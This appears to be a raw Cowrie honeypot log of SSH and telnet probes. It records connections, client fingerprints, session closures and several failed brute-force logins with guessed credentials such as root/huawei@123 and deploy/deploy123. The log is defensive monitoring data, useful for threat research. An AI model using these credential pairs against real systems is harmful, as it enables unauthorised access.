{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:58.509999Z","src_ip":"91.92.42.227","session":"3a5e936fb26a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"52dd75905a30","protocol":"ssh","message":"New connection: 45.156.87.147:35716 (10.17.0.5:22) [session: 52dd75905a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:59.013566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:59.017800Z","src_ip":"45.156.87.147","session":"52dd75905a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:59.100952Z","src_ip":"45.156.87.147","session":"52dd75905a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomsk","password":"tomsk123","message":"login attempt [tomsk/tomsk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:59.214950Z","src_ip":"103.252.123.105","session":"b75b1b4839b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:02:59.386030Z","src_ip":"45.156.87.147","session":"52dd75905a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:00.443961Z","src_ip":"103.252.123.105","session":"b75b1b4839b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:00.470958Z","src_ip":"45.156.87.147","session":"52dd75905a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40146,"dst_ip":"159.203.135.109","dst_port":22,"session":"5df4621b012a","protocol":"ssh","message":"New connection: 103.153.68.219:40146 (159.203.135.109:22) [session: 5df4621b012a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:01.033905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:01.038591Z","src_ip":"103.153.68.219","session":"5df4621b012a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:01.292820Z","src_ip":"103.153.68.219","session":"5df4621b012a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:02.055274Z","src_ip":"103.153.68.219","session":"5df4621b012a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed62027bea2","protocol":"ssh","message":"New connection: 91.92.42.227:60198 (10.17.0.5:22) [session: 2ed62027bea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:02.151302Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:03.311487Z","src_ip":"103.153.68.219","session":"5df4621b012a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:03.527974Z","src_ip":"91.92.42.227","session":"356d7c20e7e5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:03.644007Z","src_ip":"91.92.42.227","session":"2ed62027bea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:03.647638Z","src_ip":"91.92.42.227","session":"2ed62027bea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7be619ff9a9","protocol":"ssh","message":"New connection: 45.156.87.147:58694 (10.17.0.5:22) [session: b7be619ff9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:05.252739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:05.257897Z","src_ip":"45.156.87.147","session":"b7be619ff9a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:05.341055Z","src_ip":"45.156.87.147","session":"b7be619ff9a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:05.590536Z","src_ip":"45.156.87.147","session":"b7be619ff9a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:06.267346Z","src_ip":"91.92.42.227","session":"356d7c20e7e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:06.674928Z","src_ip":"45.156.87.147","session":"b7be619ff9a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59050,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc617806f131","protocol":"ssh","message":"New connection: 194.113.233.25:59050 (10.17.0.5:22) [session: cc617806f131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:07.181223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:07.189726Z","src_ip":"194.113.233.25","session":"cc617806f131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:07.272288Z","src_ip":"194.113.233.25","session":"cc617806f131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09101988","message":"login attempt [root/09101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:07.622913Z","src_ip":"194.113.233.25","session":"cc617806f131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55836,"dst_ip":"10.17.0.5","dst_port":22,"session":"386254f90372","protocol":"ssh","message":"New connection: 91.92.42.227:55836 (10.17.0.5:22) [session: 386254f90372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:07.965150Z"}
{"eventid":"cowrie.session.closed","duration":35.370742321014404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:08.075178Z","src_ip":"103.249.87.183","session":"06732d372b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:08.714069Z","src_ip":"194.113.233.25","session":"cc617806f131","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:10.437135Z","src_ip":"91.92.42.227","session":"386254f90372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:10.440473Z","src_ip":"91.92.42.227","session":"386254f90372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38760,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d042fe056a2","protocol":"ssh","message":"New connection: 45.156.87.147:38760 (10.17.0.5:22) [session: 9d042fe056a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.006953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.012446Z","src_ip":"45.156.87.147","session":"9d042fe056a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.101273Z","src_ip":"45.156.87.147","session":"9d042fe056a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57038,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d504def7e7c","protocol":"telnet","message":"New connection: 128.199.8.54:57038 (159.203.135.109:23) [session: 2d504def7e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.227018Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.337646Z","src_ip":"91.92.42.227","session":"2ed62027bea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:11.360457Z","src_ip":"45.156.87.147","session":"9d042fe056a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:12.444725Z","src_ip":"45.156.87.147","session":"9d042fe056a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:12.981768Z","src_ip":"8.219.200.1","session":"2202e003e2ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:13.739459Z","src_ip":"91.92.42.227","session":"2ed62027bea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:15.723943Z","src_ip":"91.92.42.227","session":"386254f90372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":41012,"dst_ip":"10.17.0.5","dst_port":22,"session":"15b5a6fcc2eb","protocol":"ssh","message":"New connection: 8.219.200.1:41012 (10.17.0.5:22) [session: 15b5a6fcc2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:16.000306Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38776,"dst_ip":"10.17.0.5","dst_port":22,"session":"38dcaa5f5a8e","protocol":"ssh","message":"New connection: 45.156.87.147:38776 (10.17.0.5:22) [session: 38dcaa5f5a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:16.983236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:03:16.987027Z","src_ip":"45.156.87.147","session":"38dcaa5f5a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 